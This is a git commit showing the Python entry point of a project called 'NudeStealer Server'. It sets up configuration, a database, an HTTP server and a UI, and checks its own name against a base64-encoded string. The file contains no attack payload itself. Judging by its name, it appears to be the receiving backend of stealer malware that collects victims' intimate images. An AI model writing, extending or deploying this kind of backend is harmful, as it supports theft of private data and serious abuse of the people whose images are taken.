Initial commit

This commit is contained in:
unknown
2026-05-14 00:42:39 +02:00
commit dae8a0a4a1
37 changed files with 1226 additions and 0 deletions

69
__main__.py Normal file
View File

@@ -0,0 +1,69 @@
import base64
import os
import asyncio
import multiprocessing
from serverside.consts import logger, running_tasks, DATABASE_FILE, BASE_DIR, CONFIG_TEMPLATE, __projname__, __version__, __author__
from serverside.http_s import start_server
from serverside.database_s import init_db
from serverside.util_s import stop_all, run_in_thread
from ui.ui_ux import start_ui
async def main() -> None:
if not os.path.exists(BASE_DIR / "configuration.ini"):
logger.error("Configuration file not found. Creating template configuration.ini in the base directory.")
with open(BASE_DIR / "configuration.ini", "w", encoding="utf-8") as f:
f.write(CONFIG_TEMPLATE.strip())
logger.info("Template configuration.ini created. Please review and update the configuration file before running the server again. Waiting for 10 seconds before exiting...")
await asyncio.sleep(10.0)
return
if not os.path.exists(DATABASE_FILE):
logger.info("Database file not found. Initializing new database...")
try:
init_db()
logger.info("Database initialized successfully.")
except Exception as e:
logger.error(f"An error occurred while initializing the database: {e}")
else:
logger.info("Database file found. Skipping initialization.")
logger.info("NudeStealer http Server is starting...")
try:
running_tasks["server"] = asyncio.create_task(start_server())
logger.info("NudeStealer http Server has started successfully.")
except Exception as e:
logger.error(f"An error occurred while starting the http server: {e}")
return
logger.info("Starting the UI...")
try:
running_tasks["ui"] = asyncio.create_task(run_in_thread("UI", start_ui))
#start_ui()
logger.info("UI has started successfully.")
except Exception as e:
logger.error(f"An error occurred while starting the UI: {e}")
return
print(running_tasks)
#await asyncio.gather(*running_tasks.values())
while True:
await asyncio.sleep(1)
if __name__ == "__main__":
multiprocessing.freeze_support()
if __projname__ == base64.decodebytes(b"TnVkZVN0ZWFsZXIgU2VydmVy").decode("utf-8"):
try:
from serverside.helpers.config import get
#print(get("network", "port", fallback=80))
logger.info(f"NudeStealer Server v{__version__} by {__author__}")
logger.debug(get("ui", "port") == get("network", "port"))
asyncio.run(main())
except KeyboardInterrupt:
asyncio.run(stop_all())